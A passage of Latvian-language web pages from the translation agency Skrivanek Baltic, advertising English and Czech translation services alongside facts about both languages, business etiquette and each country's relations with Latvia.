apguvējiem tas sagādā ne vienu vien pārpratumu. Angļu valodas katra zināšanu līmeņa sasniegšanai ir nepieciešamas vismaz 120 mācību stundas, taču pamatā tas aizņem ap 200 mācību stundām. Tātad, lai sasniegtu augstāko zināšanu līmeni būs nepieciešamas vidēji 1200 mācību stundu. KUR UN CIK DAUDZ RUNĀ ANGĻU VALODĀ? Saskaitot visus angļu valodas pratējus, tā ir visizplatītākā valoda pasaulē un tiek izmantota kā starptautiska saziņas valoda visos piecos pasaules kontinentos. Tiek lēsts, ka angļu valodas pratēju skaits ir sasniedzis jau aptuveni divus miljardus. Tā ir dzimtā valoda aptuveni 400 miljoniem iedzīvotāju, angļu valoda ir oficiālā valoda 54 pasaules valstīs un 24 teritorijās. Daudzās no šīm valstīm un teritorijām angļu valoda ir viena no valsts valodām, bet vairākās valstīs, neskatoties uz to, ka angļu valoda ir valsts valoda, vairākums iedzīvotāju šo valodu neprot. Ir arī valstis, kur angļu valoda ir dominējošā valoda, kaut arī tai nav oficiāla statusa, piemēram, Austrālija. Visvairāk angļu valodā runājošo dzīvo ASV un Indijā, Pakistānā, Nigērijā un Filipīnās. Piecas lielākās valstis pēc iedzīvotāju skaita, kuriem angļu valoda ir dzimtā valoda, ir ASV, Apvienotā Karaliste, Kanāda, Austrālija un Jaunzēlande. Angļu valoda ir arī dzimtā valoda daudziem Īrijas Republikas iedzīvotājiem. Angļu valodu kā otro valodu visvairāk lieto Dānijā, Vācijā, Nīderlandē, Slovēnijā un Zviedrijā. ANGĻU VALODAS TULKS UN TULKOTĀJS Skrivanek Baltic lieliskā angļu valodas tulku un tulkotāju komanda jau vairāk nekā 25 gadus strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan Eiropas Savienības institūciju un pasaules lielāko nevalstisko organizāciju dokumentācijas tulkojumiem, sarežģītiem medicīniskajiem un tehniskajiem tulkojumiem, gan arī notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu angļu valodā korektūru un stilistisko uzlabošanu, SEO satura, reklāmu saukļu veidošanu, ko veic mūsu dzimtās valodas runātāji Lielbritānijā, Amerikas Savienotajās Valstīs, Kanādā un Austrālijā. Mūsu valodas speciālisti būs priecīgi pastāstīt par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam šādus tulkojumus no un uz angļu valodu – mājaslapu un e-komercijas satura tulkojumus, digitālā mārketinga satura un meta tagu aprakstu adaptāciju un pielāgošanu, sadarbības līgumu, tiesību aktu, tiesu nolēmumu un uzņēmējdarbības dokumentācijas tulkošanu. Veicam arī secīgo tulkošanu lietišķās vai cita veida sarunās, tulkojam visu instanču tiesu sēdēs, augsta līmeņa starpvalstu konferencēs un citos pasākumos, tiešsaistē Zoom un citās tiešsaistes platformās. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. ANGĻU VALODA BIZNESĀ Valodai ir izšķiroša nozīme uzņēmējdarbībā un tā var būt efektīvs līdzeklis biznesa attīstībai globālā līmenī. Tādēļ vairāku valodu apguve un zināšana dod milzīgu potenciālu attīstīt biznesu, sadarbojoties ar ārvalstu investoriem un uzņēmējiem. Angļu valoda ir pasaulē izplatītākā saziņas valoda un šis fakts to padara par vienu no dominējošajām valodām biznesa pasaulē. Tās zināšana ļauj attīstīt uzņēmējdarbību jebkurā no pieciem pasaules kontinentiem. Tieši šī iemesla dēļ angļu valoda ir kļuvusi par vienīgo valodu visā pasaulē, kas sev ir pievērsusi vairāk nekā vienu miljardu pasaules iedzīvotāju, kas to aktīvi apgūst. Daudzās pasaules valstīs tā ir dzimtā valoda, daudzās to apgūst kā pirmo svešvalodu un pasaulē nav neviena valsts, kurā kādā no izglītības iestādēm neapgūtu angļu valodu. Pasaules vadošās organizācijas to lieto kā oficiālo un darba valodu, tajā tiek veikti un pierakstīti neskaitāmi zinātnes, tehnoloģiju un citu jomu pētījumi. Tā ir galvenā valoda programmatūru izstrādē un lietošanā, ieņem pirmo vietu kā interneta vides valoda. Daudzi starptautiski uzņēmumi ir pieņēmuši angļu valodu kā galveno darba valodu savā uzņēmumā, kaut arī uzņēmuma reģistrācijas valsts pat nav angliski runājoša valsts. Daži no spilgtākajiem piemēriem varētu būt NOKIA Somijā un AIRBUS Francijā. Angļu valodas zināšanas pavērs jebkuram uzņēmējam milzīgas iespējas savu uzņēmumu paplašināt ārpus savas valsts robežām. Tā ir milzīga perspektīva un neaptverams tirgus segments visā pasaulē. APVIENOTĀ KARALISTE UN LATVIJAS REPUBLIKA Lielbritānija bija pirmā valsts pasaulē, kas 1918. gada 11. novembrī (nedēļu pirms Latvijas valsts pasludināšanas 1918. gada 18. novembrī) atzina Latviešu pagaidu nacionālo padomi kā de facto neatkarīgu institūciju un delegātu Zigfrīdu Annu Meierovicu par neoficiālu Latvijas Pagaidu valdības diplomātisko pārstāvi Lielbritānijā. Lielbritānijas bruņotie spēki piedalījās Latvijas Neatkarības karā 1919. gadā. 1919. gada pavasarī tvaikonis "Saratov", kas bija noenkurojies Baltijas jūrā pie Liepājas un uz laiku bija kļuvis par Latvijas Pagaidu valdības un tās vadītāja Kārļa Ulmaņa patvērumu un darbības vietu, atradās britu karakuģu apsardzībā. Šis britu sniegtais atbalsts Latvijas sabiedrībā nostiprināja priekšstatu par Lielbritāniju kā Latvijai draudzīgu lielvalsti. Apvienotā Karaliste vēsturiski ir bijis būtisks Latvijas tirdzniecības partneris. Latvijas ieinteresēs vienmēr ir bijis svarīgi nodrošināt iespējami plašas ekonomiskās saites − investīciju piesaisti, tirdzniecību, sadarbību zinātnē un tehnoloģijās. Latvijai un Apvienotajai Karalistei ir aktīva sadarbība augstākās izglītības un zinātnes jomā. Lielākā daļa augstskolu Latvijā ir noslēgušas sadarbības līgumus ar Apvienotās Karalistes augstskolām, kas paredz studentu, pasniedzēju un zinātnieku apmaiņu. Šo līgumu ietvaros kopīgi tiek organizētas zinātniskās konferences un semināri, publicēti kopīgie zinātniskie raksti, izdota mācību un metodiskā literatūra. Regulāra sadarbība norisinās arī kino, mūzikas, literatūras un vizuālās mākslas jomās, gan arī starp teātriem, muzejiem un nacionālajām bibliotēkām. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ANGĻU VALODĀ: dažādu dokumentu tulkošana angļu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; angļu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi angļu valodā; individuālie un grupu angļu valodas kursi; bērnu vasaras nometnes ar angļu valodas nodarbībām. ANGĻU VALODAS KOMBINĀCIJAS: angļu–latviešu; latviešu–angļu; angļu–lietuviešu; lietuviešu–angļu; igauņu–angļu; angļu–igauņu; krievu–angļu; angļu–krievu; poļu–angļu; angļu–poļu; ukraiņu–angļu; angļu–ukraiņu; čehu–angļu; angļu–čehu; vācu–angļu; angļu–vācu; spāņu–angļu; angļu–spāņu; franču–angļu; angļu–franču; itāļu–angļu; angļu–itāļu; dāņu–angļu; angļu–dāņu; zviedru–angļu; angļu–zviedru; norvēģu–angļu; angļu–norvēģu; somu–angļu; angļu–somu; angļu–arābu; arābu–angļu; angļu–armēņu, armēņu–angļu; angļu–baltkrievu, baltkrievu–angļu; bulgāru–angļu, angļu–bulgāru; angļu–ebreju, ebreju–angļu, angļu–grieķu, grieķu–angļu; angļu–gruzīnu; gruzīnu–angļu; angļu–hindi; hindi–angļu; angļu–holandiešu; holandiešu–angļu; angļu–korejiešu; korejiešu–angļu; angļu–kurdu; kurdu–angļu; angļu–ķīniešu; ķīniešu–angļu; angļu–portugāļu; portugāļu–angļu; angļu–rumāņu; rumāņu–angļu; angļu–slovāku; slovāku–angļu; angļu–slovēņu; slovēņu–angļu; angļu–turku; turku–angļu; angļu–ungāru; ungāru–angļu u. c. ANGĻU VALODAS DIENA Angļu valodas diena pirmo reizi tika atzīmēta 2010. gadā līdzās Arābu valodas dienai, Ķīniešu valodas dienai, Franču valodas dienai, Krievu valodas dienai un Spāņu valodas dienai. Šīs ir sešas Apvienoto Nāciju Organizācijas oficiālās valodas, un katrai no tām ir īpaša diena, kas paredzēta, lai veicinātu sabiedrībā izpratni par šo valodu vēsturi, kultūru un lomu. KĀPĒC ANGĻU VALODAS DIENA TIEK SVINĒTA 23. APRĪLĪ? 23. aprīlis tika izvēlēts, jo tiek uzskatīts, ka tā ir Šekspīra dzimšanas diena un viņa nāves gadadiena. Šekspīrs bija ne tikai angļu slavenākais dramaturgs, bet arī viņam bija milzīga ietekme uz mūsdienu angļu valodu. Laikā, kad viņš rakstīja, 16. un 17. gadsimtā, angļu valoda piedzīvoja daudz izmaiņu, un Šekspīra radošums valodas jomā radīja simtiem jaunu vārdu un frāžu, kas tiek lietotas arī mūsdienās. Piemēram, vārdus “tenkas”, “mode” un “vientuļš” radīja Šekspīrs. Viņš arī izgudroja tādas frāzes kā “salauz ledu”, “visas mūsu vakardienas”, “vājprātīgs” un “mīlestība ir akla”. ANGĻU VALODAS IZCELSME Stāsts par angļu valodu aizsākās piektajā gadsimtā, kad ģermāņu ciltis iebruka ķeltu valodā runājošajā Lielbritānijā un atveda sev līdzi savas valodas. Vēlāk Lielbritānijā iebruka skandināvu vikingi un slavināja savas valodas. 1066. gadā Viljams I no Francijas kļuva par Lielbritānijas karali, bet normāņu-franču valoda kļuva par galma un oficiālo Lielbritānijas valodu. Cilvēki sākumā nevarēja saprasties, jo zemākās kārtas ļaudis turpināja lietot angļu valodu, kamēr augstākās runāja franciski, bet pamazām franču valoda sāka ietekmēt arī angļu valodu. Aptuveni 45% no visiem angļu valodas vārdiem ir franču izcelsmes. Līdz Šekspīra laikam bija attīstījusies mūsdienu angļu valoda, tika izgudrota druka, un cilvēkiem bija jāsāk vienoties par “pareizo” pareizrakstību un vārdu krājumu. ANGĻU VALODAS IZPLATĪBA Angļu valodas izplatībai visā pasaulē ir neglīta vēsture, bet bagāta un dinamiska tagadne. Eiropas koloniālajā periodā vairākas Eiropas valstis, tostarp Anglija, sacentās par savu impēriju paplašināšanu. Viņi iekaroja zemes, saņēma gūstā iedzīvotājus visā Āfrikā, Āzijā, Amerikā un Okeānijā. Līdz brīdim, kad bijušās britu kolonijas 20. gadsimta vidū sāka iegūt neatkarību, angļu valoda bija nostiprinājusies šajās valstīs. Daudzi izcili rakstnieki no dažādām Āfrikas, Karību jūras reģioniem un Āzijas bija sākuši rakstīt angļu valodā, stāstot savus apspiešanas stāstus. Cilvēki no visas pasaules izmantoja angļu valodu, lai runātu un rakstītu par taisnīgumu, vienlīdzību, brīvību un savu identitāti. Angļu valoda nostiprinājās tik spēcīgi, ka tagad tā ir visas pasaules lingua franca un kalpo kā obligāta otrā valoda gandrīz katrā valstī. Angļu valoda ir kļuvusi par oficiālo valodu gandrīz 60 valstīs visā pasaulē, un šķiet, ka tā kļūst arvien populārāka ar katru gadu. Tomēr tā ir arī viena no vissarežģītākajām valodām, ko apgūt kā otro valodu. Angļu valodas dienā svin tās vēsturi un nākotni. --- > Dažādu dokumentu tulkojumi, mutiskie tulkojumi un citi valodu risinājumi čehu valodā. 30+ gadu pieredze, sazinieties ar mums! - Published: 2017-09-29 - Modified: 2025-07-21 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-cehu-valoda/ - Translation Priorities: Optional TULKOJUMI ČEHU VALODĀ / TULKOT ČEHU VALODĀ CIK MAKSĀ TULKOJUMI ČEHU VALODĀ? Tulkojumu cena no un uz čehu valodu tiek noteikta katram pasūtījumam atsevišķi. Cenas noteikšanā tulkošanas projektu vadītāji ņem vērā vairākus tieši jūsu pasūtījumam raksturīgus aspektus, piemēram, mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, vieta, ceļošanas izdevumi, dienas nauda, pasākuma tehniskais nodrošinājums, tulku skaits utt. Rakstisko tulkojumu cenu veido vārdu skaits dokumenta vai teksta oriģinālā, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, grafiskā apstrāde un formatēšana, koriģēšana, redaktūra, kā arī citi papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz čehu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek Baltic biroja tulkošanas projektu vadītāji vienmēr sniegs detalizētu informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Parasti cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem tulkojumiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu mūsu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ČEHU VALODĀ: dažādu dokumentu tulkošana čehu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; čehu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi čehu valodā; individuālie čehu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus čehu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI ČEHU VALODĀ / TULKOT ČEHU VALODĀ CIK MAKSĀ TULKOJUMI ČEHU VALODĀ? Tulkojumu cena no un uz čehu valodu tiek noteikta katram pasūtījumam atsevišķi. Cenas noteikšanā tulkošanas projektu vadītāji ņem vērā vairākus tieši jūsu pasūtījumam raksturīgus aspektus, piemēram, mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, vieta, ceļošanas izdevumi, dienas nauda, pasākuma tehniskais nodrošinājums, tulku skaits utt. Rakstisko tulkojumu cenu veido vārdu skaits dokumenta vai teksta oriģinālā, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, grafiskā apstrāde un formatēšana, koriģēšana, redaktūra, kā arī citi papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz čehu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek Baltic biroja tulkošanas projektu vadītāji vienmēr sniegs detalizētu informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Parasti cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem tulkojumiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu mūsu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ČEHU VALODĀ: dažādu dokumentu tulkošana čehu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; čehu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi čehu valodā; individuālie čehu valodas kursi. Meklējiet valodu risinājumus čehu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR ČEHU VALODU UN ČEHIJU Valodas patiesībā ir apbrīnojami aizraujošas. Nenoliedzami, to nozīme ir milzīga, jo neviena tauta, neviena civilizācija nav varējusi pastāvēt bez savas valodas. Tā ir mentalitātes, tradīciju, noteiktas cilvēku grupas kopības un vienotības avots. Mēdz teikt, ka valoda ir cilvēka dvēseles spogulis! Valodas identificē dažādas cilvēku grupas, parādot savu unikālo skatījumu un veidu, kā viņi mijiedarbojas ar pasauli. Dažādu notikumu un cilvēku ietekme rada, maina un strukturē valodas. Viena no interesantākajām pasaules valodām ir čehu valoda. Šai valodai ir sava vēsture, kas ir ļoti interesanta, sena un bagāta. Čehu valoda gandrīz izzuda 17. gadsimtā. Tajā laikā Bohēmiju (tagadējo Čehijas Republiku) pārvaldīja vāciski runājošā Hābsburgu dinastija. Hābsburgi piespieda Bohēmijas iedzīvotājus publiski runāt tikai vācu valodā. Ikvienam, sākot no inteliģences aprindām un beidzot ar zemniekiem, bija jāievēro šis jaunais likums. Tajā laikā Bohēmijā bija sena leļļu teātra tradīcija. Kokgriezēji tur izgatavoja ārkārtīgi skaistas marionetes – un marionetes savās publiskajās izrādēs drīkstēja “runāt” čehu valodā. Daudzi uzskata, ka marionetes (un leļļu teātra mākslinieki) izglāba čehu valodu no izzušanas. Čehu valoda ir vienīgā oficiāli atzītā valoda, kurā lieto burtu ř. Tas ir gandrīz unikāls tikai čehu valodai – pārējās valodas, kurās lieto burtu ř, ir radniecīgā Vācijas augšsorbu valoda un atsevišķos norvēģu valodas dialektos. Čehu lielo burtu lietojums ir sarežģīts. Patiesībā tikai 70% čehu valodā runājošo zina, kā pareizi lietot lielos burtus. Pirmās frāzes, ko bērni čehu valodā iemācās lasīt, ir “gaļa” un “sāls”. Kad čehu bērni mācās lasīt, viņi izmanto slabikář (ābeci). Un pirmās frāzes, ko lasa mazās čehu atvases ir tikai par gaļu un sāli: Máma mele maso ─Mamma maļ gaļu; Ema má mísu ─ Emmai ir bļoda; Máme mísu masa ─ Mums ir gaļas bļoda; Máme maso a sůl ─Mums ir gaļa un sāls. Čehiem ideja par pareizrakstības konkursiem šķiet diezgan dīvaina. Čehu skolēni nepavada stundas klasē, mācoties pareizrakstību. Valodai ir viena no fonētiskākajām ortogrāfijām (pareizrakstības un izrunas sistēmām) no visām Eiropas valodām, tāpēc to bieži izmanto kā paraugu fonologi. Kārļa Universitāte Prāgā, kas dibināta 1348. gadā, ir senākā universitāte Centrāleiropā. Pirmā plaši zināmā Holivudas kinofilma, kas tika filmēta Prāgā, bija Toma Krūza filma “Neiespējamā misija”. Cukura graudiņi par prieku tējas dzērājiem visā pasaulē kļuva populāri līdz ar čehu izcelsmes izgudrotāja Jakuba Krištofa Rada izgudroto cukurgraudiņu veidošanas iekārtu (patentēta 1843. gadā). Skřivánek čehu valodā ir populārs uzvārds un nozīmē ‘cīrulis’. ČEHU ALFABĒTS Līdz 13. gadsimtam čehu valodas pierakstam lietoja latīņu alfabētu, bet ar laiku, palielinoties rakstīto tekstu apjomam, alfabēts tika papildināts ar rakstu zīmēm, kas precīzi atainoja čehu valodas izrunai raksturīgās skaņas. Mūsdienās lieto latīņu alfabētu, kas papildināts ar burtkopu ch. Atsevišķi alfabēta burti tika papildināti ar diakritiskajām zīmēm. Čehu alfabēts sastāv no 42 grafēmām: A a, Á á, B b, C c, Č č, D d, Ď ď, E e, É é, Ě ě, F f, G g, H h, Ch ch, I i, Í í, J j, K k, L l, M m, N n, Ň ň, O o, Ó ó, P p, Q q, R r, Ř ř, S s, Š š, T t, Ť ť, U u, Ú ú, Ů ů, V v, W w, X x, Y y, Ý ý, Z z, Ž ž. Čehu valodā ir desmit patskaņu (pieci īsie un pieci garie), 27 līdzskaņi (ieskaitot savdabīgo čehu fonēmu ř) un viens divskanis. CIK SAREŽĢĪTA IR ČEHU VALODA? Čehu valoda ir rietumslāvu valoda, un tā ir viena no visgrūtāk apgūstamajām slāvu valodām, galvenokārt tāpēc, ka tajā ir daudz sarežģītu gramatikas likumu un to ir sarežģīti izrunāt, cieto un mīksto līdzskaņu dēļ, jo šīs skaņas nav raksturīgas citām valodām. Čehu valodu klasificē kā ļoti grūtu valodu, kuras apgūšanai pamata sarunvalodas līmenī nepieciešamas vismaz 44 nedēļas jeb 1100 stundas. Dažos čehu vārdos vispār nav patskaņu. Piemēram, populārajā čehu mēles mežģī “strč prst skrz krk”, kas nozīmē ‘iebāzt pirkstu kaklā’ vispār nav patskaņu. Lietvārdiem ir dzimte, skaitlis un locījums. Čehu valodā ir trīs dzimtes: nekatrā, sieviešu un vīriešu dzimte. Ir divi skaitļi – daudzskaitlis un vienskaitlis. Locījumi ir septiņi: nominatīvs, ģenitīvs, datīvs, akuzatīvs, vokatīvs, lokatīvs, instrumentālis. Dažiem lietvārdiem ir tikai vienskaitļa forma, dažiem – daudzskaitļa, bet dažiem lietvārdiem (sevišķi ķermeņa daļu nosaukumiem, kuri ir pa pāriem) ir saglabājušās senā divskaitļa formas paliekas. Patiesībā nav vieglu vai grūtu valodu, galvenais ir motivācija, iepriekšēja pieredze valodu apguvē, laiks. Čehu valoda tiek raksturota kā ļoti skaista valoda, tā ir melodiska, kaut arī daudzu vārdu izruna var sagādāt grūtības tiem valodu pratējiem, kuru dzimtās valodas pamatā ir latīņu valoda. Cilvēkiem, kuri runā kādā no slāvu valodām, čehu valodas apguve būs krietni vieglāka. KUR UN CIK DAUDZ RUNĀ ČEHU VALODĀ? Čehu valodā runā gandrīz 12 miljoni cilvēku Čehijā un Slovākijas pierobežā ar Čehiju, kā arī čehu diasporās visā pasaulē (pamatā Rietumeiropā – Vācijā un Austrijā, nedaudz ASV, Kanādā un Austrālijā). Tā ir Čehijas Republikas oficiālā valoda, kopš 2004. gada arī viena no Eiropas Savienības oficiālajām valodām. ČEHU VALODAS TULKS UN TULKOTĀJS Skrivanek Baltic lingvistu, tulku un tulkotāju komanda parūpēsies gan par tipveida dokumentu rakstiskajiem tulkojumiem, sarežģītiem tehniskajiem tulkojumiem, gan arī notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu čehu valodā korektūru un stilistisko uzlabošanu. Tāpat mūsu valodas eksperti konsultē par čehu kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam šādus tulkojumus no/uz čehu valodu – mājaslapu, produktu aprakstus, multimediju un e-komercijas satura tulkojumus, reklāmas saukļu pielāgošanu un lokalizējam programmatūras, strādājam ar sadarbības līgumu, tiesību aktu, tiesu nolēmumu un uzņēmējdarbības dokumentācijas tulkošanu. Veicam arī secīgo tulkošanu lietišķās vai cita veida sarunās, konferencēs un citos pasākumos, tiešsaistē Zoom vidē vai citās mūsu klientiem ērtās tiešsaistes platformās. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. ČEHU VALODA UZŅĒMĒJDARBĪBĀ Mūsdienās biznesa un profesionālajā pasaulē vairāku valodu zināšanas ir ļoti liela vērtība. Svešvalodu iemaņas vienmēr tiks augstu novērtētas no jūsu ārvalstu sadarbības partneru un klientu puses. Valodu zināšanas lauž stereotipus un mazina kultūras atšķirības, padarot jebkuru komunikāciju cieņpilnu, vērtīgu un saprotamu. Saskaņā ar Pasaules Bankas datiem, Čehijas Republika 2020. gadā bija 41. vietā no 189 valstīm visā pasaulē Uzņēmējdarbības uzsākšanas vienkāršības ziņā. Kā noris biznesa sarunas ar čehu uzņēmējiem? Čehi pēc būtības nav runīgi, savā pieejā mēdz būt netieši un piesardzīgi, līdz pat tiktāl, ka jālasa starp rindām. Tas nenozīmē, ka čehi mēģina kaut ko slēpt, bet gan to, ka viņi vienkārši nav pieraduši izteikt savas domas pilnīgi svešam cilvēkam. Saziņa ar rokām vai žestikulācija nav raksturīga čehu uzvedībai. Jāapzinās, ka acu kontakta uzturēšana ir svarīga daļa biznesa tikšanās laikā; tas parāda jūsu interesi par sarunu un to, ka jūs klausāties un iedziļināties teiktajā. Čehijā biznesā stingri norobežo darbu no privātās dzīves, kas nozīmē, ka čehi nelabprāt vēlas runāt par darbu pēc sava oficiālā darbalaika. Tas ir komunisma laika politiskā klimata mantojums, taču situācija mainās, jaunākajai paaudzei pieņemot atvērtāku pieeju uzņēmējdarbībai. Daudzi cilvēki, kuri ieņem vadošus amatus Čehijas Republikā, runā vairākās valodās. Daudzi čehi runā angļu, krievu un/vai vācu valodā. Vidējā gājuma cilvēki, vecāki par 50 gadiem, nedaudz runā vāciski, krieviski un angliski, savukārt jaunākā paaudze lielākoties runā angļu valodā, lai gan populāra ir arī franču un vācu valoda. Augstskolu absolventi runās vairākās svešvalodās salīdzinājumā ar pārējiem iedzīvotājiem. Lielākā daļa jaunāko vadītāju brīvi runā angļu valodā, un tas nozīmē, ka nebūs nepieciešams tulks darījumu sarunām. Iesakām vienmēr pirms tikšanās ar ārvalstu biznesa partneri noskaidrot, vai būs nepieciešams tulks. Vēlams pirms tikšanās sākuma iemācīties dažas sveicināšanās un pieklājības frāzes, lai izrādītu cieņu pret jūsu potenciālo sadarbības partneri. Čehijas mazie un vidējie uzņēmumi atzinīgi vērtē katru iespēju veikt darījumus ar ārvalstu partneriem. Čehijas uzņēmumu pārstāvjus varat satikt arī semināros un konferencēs ārzemēs. Čehu valodai nav būtiska loma pasaules biznesa arēnā, jo lielākā daļa čehu uzņēmēju attīsta savu biznesu savā valstī. ČEHI LATVIJĀ 1991. gada 9. septembrī Čehoslovākijas Federatīvā Republika atjaunoja diplomātiskās attiecības ar Latvijas Republiku. Latvijas un Čehijas diplomātiskās attiecības tika nodibinātas 1993. gada 1. janvārī, kad pēc Čehoslovākijas sadalīšanās izveidojās divas neatkarīgas valstis – Čehijas Republika un Slovākijas Republika. Čehijas vēstniecība atrodas Rīgā. Latvijai un Čehijai ir aktīva divpusējā sadarbība aizsardzības jomā un sadarbība NATO ietvaros. Čehija ir viena no NATO dalībvalstīm paplašinātās klātbūtnes daudznacionālajā kaujas grupā Latvijā. Kopš 2018. gada jūnija ap 50–60 Čehijas Bruņoto spēku karavīru piedalās NATO kaujas grupā Latvijā un Ādažu militārajā bāzē atradīsies līdz 2023. gadam. Sadarbības līgumi ir virknei Latvijas un Čehijas augstskolu, kā arī sadarbība Erasmus+ ietvaros. Latvijas Universitātei ir sadarbības līgums ar Kārļa Universitāti, Liepājas Universitātei – ar Masarika Universitāti, Kultūras akadēmijai – ar Janāčeka Mūzikas un teātra akadēmiju Brno. Sadarbības līgumi ar Čehiju ir arī Rīgas Tehniskajai universitātei, Latvijas Lauksaimniecības universitātei, Latvijas Jūras akadēmijai, Latvijas Mūzikas akadēmijai, Daugavpils Universitātei, Rīgas Stradiņa universitātei, Banku augstskolai. Sadarbība ar Čehiju kultūras jomā ir ļoti daudzveidīga. Viens no interesantākajiem faktiem abu valstu sadarbības jomā ir Čehijas vēsturisko ēku restaurācijas uzņēmuma "Miloš Gavenda" piedalīšanās Rundāles, Bauskas, Cēsu, Turaidas, Raunas piļu un Rīgas Doma restaurācijā. Restaurators Milošs Gavenda bija Bauskas pils restaurācijas darbu vadītājs kopš 1996. gada. 2021. un 2022. gadi ir vēsturiski nozīmīgi Baltijas valstu attiecībās ar Čehiju. Tie iezīmē abu valstu diplomātisko attiecību simtgadi. 1921. gada 29. decembrī Čehoslovākija atzina trīs Baltijas valstis de jure, par to iesniedzot Latvijai notu 1922. gada 5. janvārī. Par godu simtgadei Čehijā tika rīkoti vairāki pasākumi: 2022. gada 7. aprīlī Prāgā Eiropas filmu dienu festivālā bija skatāma režisora Viestura Kairiša vēsturiskā drāma “Pilsēta pie upes”. 2022. gada 7. aprīlī Čehijas Nacionālajā bibliotēkā Prāgā Baltijas valstu pārstāvji atklāja kopīgo izstādi par godu Latvijas, Igaunijas un 